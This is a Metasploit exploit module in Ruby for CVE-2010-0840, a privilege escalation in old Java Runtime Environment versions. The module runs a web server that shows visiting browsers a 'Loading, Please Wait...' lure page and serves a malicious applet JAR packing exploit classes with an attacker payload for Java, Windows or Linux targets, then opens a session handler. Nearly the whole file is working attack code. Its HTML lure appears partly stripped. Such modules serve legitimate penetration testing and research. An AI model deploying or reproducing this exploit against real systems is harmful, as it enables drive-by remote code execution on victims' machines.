##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
# Superceded by java_atomicreferencearray
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({ :javascript => false })
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Java Runtime Environment
that allows an untrusted method to run in a privileged context. The
vulnerability affects version 6 prior to update 19 and version 5
prior to update 23.
},
'License' => MSF_LICENSE,
'Author' => [
'Sami Koivu', # Discovery
'Matthias Kaiser', # PoC
'egypt' # metasploit module
],
'References' => [
[ 'CVE', '2010-0840' ],
[ 'OSVDB', '63483' ],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' => [
[
'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA
}
],
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[
'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2010-03-31',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def on_request_uri(cli, request)
if !request.uri.match(/\.jar$/i)
if !request.uri.match(%r{/$})
send_redirect(cli, get_resource + '/', '')
return
end
print_status("#{name} handling request")
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
return
end
paths = [
[ 'vuln', 'Exploit.class' ],
[ 'vuln', 'Exploit$1.class' ],
[ 'vuln', 'Link.class' ],
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join('/') + '/'
if !(jar.entries.map { |e| e.name }.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')
data = fd.read(fd.stat.size)
jar.add_file(path.join('/'), data)
fd.close
end
print_status('Sending Applet.jar')
send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
end
def generate_html
html = 'Loading, Please Wait...'
html += 'Loading, Please Wait...
'
html += ''
return html
end
end